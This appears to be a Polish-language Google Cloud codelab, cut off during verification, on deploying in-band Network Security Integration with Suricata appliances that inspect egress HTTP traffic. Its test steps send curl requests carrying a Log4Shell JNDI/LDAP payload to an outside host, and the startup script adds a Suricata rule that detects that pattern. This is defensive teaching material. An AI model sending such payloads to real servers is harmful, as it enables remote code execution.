1. Wprowadzenie
Network Security Integration
Network Security Integration (NSI) zapewnia elastyczność w zakresie zwiększania bezpieczeństwa sieci w przypadku zbiorów zadań. Możesz skorzystać z urządzenia specjalnego od niezależnego dostawcy oprogramowania lub z silnika głębokiego sprawdzania pakietów (DPI) do sprawdzania ładunku. Aby umożliwić płynną integrację z tymi urządzeniami innych firm, Google Cloud ułatwia ich wdrażanie w sposób przejrzysty, bez konieczności wprowadzania zmian w sieci lub routingu.
Google Cloud oferuje 2 rodzaje Network Security Integration: poza pasmem i w paśmie. W tym laboratorium dowiesz się, jak wdrożyć integrację zabezpieczeń sieciowych w pasmie.
Integracja zabezpieczeń sieciowych w paśmie
Network Security Integration zapewnia integrację w paśmie za pomocą technologii przechwytywania pakietów, która umożliwia umieszczanie urządzeń sieciowych innych firm na ścieżce ruchu w sieci w celu przejrzystej inspekcji zbiorów zadań Google Cloud. W tym procesie używana jest technologia GENEVE (Generic Network Virtualization Encapsulation), która umożliwia bezpieczne przesyłanie pakietów do urządzenia bez zmiany oryginalnych adresów IP źródła i miejsca docelowego.
Integracja w pasmie oferuje podejście zorientowane na usługi, które umożliwia wdrażanie i używanie urządzeń sieciowych innych firm w trybie bump-in-the-wire. Jako producent usług możesz opublikować skalowalny zestaw urządzeń sieciowych innych firm jako wdrożenie przechwytujące. Jako konsument usługi możesz używać zasad i reguł Cloud Next Generation Firewall, aby precyzyjnie wybierać ruch, który ma być w sposób przejrzysty przekierowywany do lokalnego punktu końcowego przechwytywania w celu sprawdzenia.

Rysunek 1. Ogólna architektura wdrażania usługi integracji w paśmie
Więcej informacji o integracji z NSI w paśmie znajdziesz w tym artykule.
Producent usługi w paśmie
Producenci usług to miejsca, w których wdrażane są urządzenia innych firm i gdzie nimi się zarządza. Może tym zarządzać ktoś z Twojej organizacji (np. zespół ds. bezpieczeństwa) lub zewnętrzny dostawca. Usługodawcy rejestrują swoje maszyny wirtualne, które mogą być urządzeniami innych firm, jako backendy wewnętrznego przekazującego sieciowego systemu równoważenia obciążenia w sieci VPC. Te urządzenia sprawdzają ruch w sieci, który jest do nich przekierowywany. Dostawcy usług tworzą następnie wdrożenia przechwytywania, czyli zasoby strefowe, które wskazują regułę przekierowania wewnętrznego przekazującego sieciowego systemu równoważenia obciążenia.
Wdrożenie przechwytujące to zasób strefowy, który reprezentuje usługę inspekcji producenta w określonej strefie. Producenci tworzą wdrożenia przechwytujące dla każdej strefy, w której wdrożyli maszyny wirtualne.
Grupa wdrożeń przechwytywania to globalny zasób ograniczony do projektu, który umożliwia konsumentom łączenie się z usługami inspekcji producenta. Producenci tworzą grupę wdrożeń przechwytujących, aby grupować wiele strefowych wdrożeń przechwytujących. Producenci używają IAM do kontrolowania, którzy konsumenci mogą łączyć się z ich grupą wdrożenia.
Więcej informacji znajdziesz w artykułach Omówienie grup wdrożeń przechwytywania i Omówienie wdrożeń przechwytywania.
Konsument usługi w paśmie
Konsumenci usług korzystają z usług inspekcji oferowanych przez producentów. Konsumenci określają, które sieci VPC mają być sprawdzane i od którego producenta. Aby to zrobić, konsumenci tworzą grupę punktów końcowych przechwytywania, czyli zasób globalny reprezentujący ich stronę relacji producent–konsument, i łączą ją z grupą wdrożeń przechwytywania producenta.
Aby powiązać grupę punktów końcowych przechwytywania z sieciami VPC, z których ma być kontrolowany ruch, klienci tworzą powiązanie grupy punktów końcowych przechwytywania. Aby wybrać ruch, który ma być wysyłany do producenta w celu sprawdzenia, konsumenci tworzą i stosują zasady zapory sieciowej. Klienci tworzą grupę profili zabezpieczeń zawierającą profil zabezpieczeń, który odwołuje się do ich grupy punktów końcowych przechwytywania. Następnie konsumenci tworzą regułę zapory sieciowej, aby przekierowywać ruch spełniający określone kryteria do urządzeń producenta.
Chociaż grupa punktów końcowych przechwytywania(IEG) jest zasobem na poziomie projektu, grupa IEG i powiązanie IEG nie muszą znajdować się w tym samym projekcie. Do IEG można się odwoływać za pomocą powiązania IEG z innych projektów w organizacji. Reprezentuje stronę konsumenta w relacji producent–konsument. Konsumenci tworzą grupę punktów końcowych przechwytywania, aby korzystać z usługi inspekcji producenta. Każda grupa punktów końcowych przechwytywania po stronie konsumenta jest powiązana z jedną grupą wdrożenia przechwytywania po stronie producenta.
Więcej informacji znajdziesz w artykule Omówienie grup punktów końcowych przechwytywania i powiązań.
Konsumenci muszą utworzyć regułę zasady zapory sieciowej, aby przekierowywać ruch do grupy punktów końcowych przechwytywania. Konsumenci mogą określić kryteria dopasowania w regule zasad zapory sieciowej, co pozwala im zdefiniować, który ruch ma być sprawdzany przez urządzenia producenta.
Użytkownicy tworzą niestandardowy profil zabezpieczeń przechwytywania, aby określić, która grupa punktów końcowych przechwytywania ma być używana do sprawdzania ruchu.
Konsumenci tworzą grupę profili zabezpieczeń, aby zdefiniować grupę funkcji kontroli zabezpieczeń, które powinny być stosowane do określonego podzbioru ruchu. Grupa profili zabezpieczeń zawiera jeden niestandardowy profil zabezpieczeń przechwytywania.
Co utworzysz

Rysunek 2. Architektura wdrożenia na wysokim poziomie w tym ćwiczeniu z programowania
Na potrzeby tego ćwiczenia w Codelabs użyjesz jednego projektu i utworzysz 2 sieci VPC, a także będziesz zarządzać wieloma zasobami sieciowymi i związanymi z bezpieczeństwem. W tym laboratorium dowiesz się, jak wdrożyć integrację usług sieciowych w pasmie z urządzeniem innej firmy w celu przejrzystego wstawiania zabezpieczeń.
Przepływy do sprawdzenia będą wybierane za pomocą parametrów dopasowywania zapory sieciowej Cloud, w tym 5-krotki (źródłowy adres IP, docelowy adres IP, protokół, port źródłowy, port docelowy). Na potrzeby tego laboratorium sprawdzisz cały ruch WYCHODZĄCY na porcie TCP 80.
Producent zezwoli na ruch przychodzący z adresu IP bramy podsieci sieci VPC producenta (10.0.0.1/32) w przypadku pakietów UDP z portem docelowym 6081, czyli znanym portem GENEVE.
Stan końcowy bazy reguł zasad zapory sieciowej będzie podobny do tabeli poniżej:
Zasady sieci producentów:
Priorytet | Kierunek | Protokół | Target | Źródło | Cel | Port docelowy | Czynność |
100 | Ruch przychodzący | Wszystkie | Wszystkie | Kontrole stanu | Dowolna | Dowolna | Zezwól |
200 | Ruch przychodzący | Wszystkie | Wszystkie | IAP | Dowolna | Dowolna | Zezwól |
300 | Ruch przychodzący | UDP | Wszystkie | 10.0.0.1/32 | Dowolna | 6081 | Zezwól |
Zasady dotyczące sieci konsumenckich:
Priorytet | Kierunek | Protokół | Target | Źródło | Cel | Port docelowy | Czynność |
200 | Ruch przychodzący | TCP | Wszystkie | IAP | Dowolna | 22 | Zezwól |
800 | Ruch wychodzący | TCP | Wszystkie | Dowolna | Dowolna | 80 | Przechwyć |
Czego się nauczysz
- Wdrażanie integracji zabezpieczeń sieci w zakresie
Czego potrzebujesz
- Organizacja i projekt Google Cloud
- Odpowiednie uprawnienia
- umiejętność wdrażania instancji i konfigurowania komponentów sieciowych;
- Znajomość konfiguracji zapory sieciowej zasad sieciowych
2. Zanim zaczniesz
Role i uprawnienia
Aby ukończyć ćwiczenie w Codelabs dotyczące integracji zabezpieczeń sieci w zakresie (NSI), musisz mieć te role Uprawnień:
- Administrator sieci Compute (
roles/compute.networkAdmin): wymagana do tworzenia sieci VPC, podsieci, routerów Cloud Router, bramek NAT i usług backendu systemu równoważenia obciążenia oraz zarządzania nimi. - Administrator zabezpieczeń Compute (
roles/compute.securityAdmin): wymagana do tworzenia, konfigurowania i powiązywania globalnych zasad i reguł zapory sieciowej. - Administrator instancji Compute (
roles/compute.instanceAdmin.v1): wymagane do wdrażania, łączenia się przez SSH i usuwania urządzeń Suricata oraz testowych maszyn wirtualnych konsumentów. - Administrator wdrożenia przechwytywania (
roles/networksecurity.interceptDeploymentAdmin): używany przez producenta do tworzenia wdrożeń przechwytywania w strefach i zarządzania nimi oraz globalną grupą wdrożeń. - Administrator punktu końcowego przechwytywania (
roles/networksecurity.interceptEndpointAdmin): używany przez konsumenta do tworzenia grup punktów końcowych przechwytywania i powiązywania ich z siecią VPC. - Użytkownik wdrożenia przechwytywania (
roles/networksecurity.interceptDeploymentUser): wymagane w projekcie producenta, aby przyznać konsumentowi uprawnienia do łączenia się z grupą wdrożeń producenta. - Administrator profilu zabezpieczeń (
roles/networksecurity.securityProfileAdmin): wymagane na poziomie organizacji do tworzenia niestandardowych profili zabezpieczeń przechwytywania i grup profili zabezpieczeń oraz zarządzania nimi. - Administrator wykorzystania usług (
roles/serviceusage.serviceUsageAdmin): wymagane do włączenia interfejsów APInetworksecurity.googleapis.comicompute.googleapis.com, które są niezbędne do korzystania z funkcji NSI. - Przeglądający projekt (
roles/viewer): potrzebne do pobierania konfiguracji projektu i informacji o pochodzeniu organizacji na potrzeby zmiennych środowiskowych używanych w całym laboratorium.
Interfejsy Google Cloud APIs
Sprawdź, czy w projekcie są włączone wymagane interfejsy API Google Cloud.
Włącz niezbędne interfejsy API, uruchamiając w Cloud Shell te polecenia gcloud.
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
Tworzenie i aktualizowanie zmiennych
To ćwiczenie wykorzystuje $variables, aby ułatwić implementację konfiguracji gcloud w Cloud Shell.
W Cloud Shell uruchom te polecenia, zastępując informacje w nawiasach kwadratowych odpowiednimi danymi:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3. Działania producenta
W tej sekcji omówimy wdrożenie po stronie producenta. Obejmuje to wdrożenie sieci VPC, zewnętrznego wirtualnego urządzenia sieciowego i wszystkich odpowiednich komponentów Network Security Integration.
Komponenty VPC i Cloud NAT
- Utwórz sieć VPC i podsieć:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- Uzyskaj adres IP bramy podsieci do użycia w regule zapory sieciowej:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- Utwórz zasady zapory sieciowej i reguły dla sieci VPC producenta. Te reguły zapory sieciowej zezwalają na ruch przychodzący na potrzeby kontroli stanu, IAP i NSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- Powiąż sieć VPC producenta z zasadami zapory sieciowej:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- Wdróż router Cloud Router i Cloud NAT dla urządzenia wirtualnego sieciowego (NVA) innej firmy, aby pobrać wymagane pakiety i aktualizacje:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
Maszyny wirtualne innych firm
W tym laboratorium wdrożysz Suricatę, czyli usługę wykrywania zagrożeń typu open source. Polecenie zawiera skrypt uruchamiania, który zainstaluje i skonfiguruje Suricatę. Istnieją też tablice iptables, które wykonują translację źródłowych adresów sieciowych (SNAT) i docelowych adresów sieciowych (DNAT) w celu obsługi pakietów GENEVE i odpowiadania na nie.
- Wdróż w pierwszej strefie urządzenie NVA innej firmy.
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- Wdróż urządzenie NVA innej firmy w drugiej strefie:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
Komponenty systemu równoważenia obciążenia producenta
- Utwórz ogólną kontrolę stanu, która będzie używana do sprawdzania dostępności urządzenia NVA innej firmy:
gcloud compute health-checks create http nva-hc
- Utwórz strefową niezarządzaną grupę instancji w każdej strefie:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- Dodaj instancje do grup instancji:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
Sprawdź, czy grupy instancji zawierają Twoje instancje, używając tych poleceń:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
Przykładowe dane wyjściowe:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- Utwórz wewnętrzną usługę backendu UDP:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- Dodaj obie grupy instancji do usługi backendu:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- zarezerwować wewnętrzne adresy IP dla reguł przekierowania, Każde wdrożenie przechwytywania wymaga unikalnej reguły przekierowania:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- Utwórz regułę przekierowania dla każdej strefy. Jest to wymagane, ponieważ wdrożenie przechwytywania wymaga unikalnej reguły przekierowania:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
Komponenty Network Security Integration
- Utwórz grupę wdrożeń przechwytywania:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
Sprawdź, czy grupa wdrożenia została utworzona:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
Przykładowe dane wyjściowe:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- Utwórz wdrożenie przechwytywania dla każdej strefy:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Sprawdź, czy wdrożenia przechwytywania zostały utworzone:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
Przykładowe dane wyjściowe:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
Gratulacje! Konfiguracja po stronie producenta została zakończona. Następnie skonfiguruj stronę klienta, aby przechwytywała ruch i przesyłała go w sposób niewidoczny dla użytkownika do urządzeń innych firm w celu wymuszenia zasad.
4. Działania konsumentów
W tym laboratorium dla uproszczenia używamy oddzielnych sieci VPC w jednym projekcie, ale w rzeczywistych środowiskach zasoby producenta i konsumenta mogą znajdować się w różnych projektach, a nawet w różnych organizacjach.
Komponenty VPC i Cloud NAT
- Utwórz sieć VPC i podsieć:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- Utwórz router Cloud Router i bramę Cloud NAT:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
Grupa punktów końcowych przechwytywania i powiązanie
- Utwórz grupę punktów końcowych przechwytywania:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Sprawdź, czy punkt końcowy został utworzony:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
Przykładowe dane wyjściowe:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- Utwórz powiązanie grupy punktów końcowych przechwytywania, określając sieć VPC odbiorcy:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Weryfikacja:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
Przykładowe dane wyjściowe:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
Profil zabezpieczeń i grupa profili zabezpieczeń
Następnie utworzysz niestandardowy profil zabezpieczeń przechwytywania i dołączysz go do grupy profili zabezpieczeń. Profil zabezpieczeń i grupa profili zabezpieczeń są używane do przechwytywania pakietów na potrzeby urządzeń innych firm.
- Utwórz profil zabezpieczeń z niestandardowym przechwytywaniem:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Sprawdź, czy profil zabezpieczeń został utworzony:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
Przykładowe dane wyjściowe:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- Utwórz grupę profili zabezpieczeń:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
Sprawdź, czy grupa SPG została utworzona:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
Przykładowe dane wyjściowe:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
Zasady zapory sieciowej, reguły i powiązania
- Utwórz globalną zasadę zapory sieciowej:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- Utwórz reguły zapory sieciowej:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- Utwórz regułę zapory sieciowej, która przechwytuje cały ruch wychodzący przy użyciu interfejsu NSI i przesyła go w sposób przejrzysty do urządzenia innej firmy. Ta reguła będzie wysyłać do sprawdzenia cały ruch wychodzący TCP:80.
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- Powiąż zasadę zapory sieciowej z siecią VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
Maszyny wirtualne dla klientów
- Wdróż maszyny wirtualne używane do weryfikacji NSI. Wdrożysz 3 maszyny wirtualne w 3 strefach. Pamiętaj, że tylko 2 strefy mają włączoną funkcję NSI, a strefa $zonec nie.
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
Testowanie integracji zabezpieczeń sieciowych w paśmie
- Połącz się z maszyną wirtualną w strefie $zonea (consumer-$zonea) za pomocą SSH. Wysyłanie ruchu testowego:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- Wysyłanie ruchu testowego na adres http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Oczekiwane dane wyjściowe:
200
Kod stanu HTTP 200 oznacza, że żądanie klienta zostało odebrane, zrozumiane i przetworzone przez serwer.
- Wysyłaj przez NSI żądania log4j, które powinny być blokowane przez Suricatę.
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Oczekiwane dane wyjściowe:
000
Kod odpowiedzi HTTP 000 to nieoficjalny, niestandardowy kod używany przez niektóre programy do wskazywania, że nie otrzymano prawidłowego kodu stanu HTTP. Oznacza to prawdopodobnie, że żądanie zostało zablokowane przez zaporę sieciową.
- Wróć do Cloud Shell, zamykając sesję SSH.
exit
- SSH do maszyny wirtualnej w $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- Podobnie wyślij ruch testowy:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Oczekiwane dane wyjściowe:
200
- Wysyłanie żądania log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Oczekiwane dane wyjściowe:
000
- Wróć do Cloud Shell, zamykając sesję SSH.
exit
- SSH do maszyny wirtualnej w strefie $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \ --zone $zonec
- Podobnie wyślij ruch testowy:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Oczekiwane dane wyjściowe:
200
- Wysyłanie żądania log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Oczekiwane dane wyjściowe:
200
Zwróć uwagę, że ta prośba została zrealizowana. To normalne, ponieważ nie skonfigurowano NSI za pomocą $zonec. Grupa punktów końcowych przechwytywania ma tylko powiązania ze strefami $zonea i $zoneb.
- Wróć do Cloud Shell, zamykając sesję SSH.
exit
Weryfikacja, czy Suricata otrzymała i zablokowała szkodliwe żądania
- Aby sprawdzić dzienniki, połącz się przez SSH z maszyną wirtualną Suricata w strefie $zonea (suricata-$zonea):
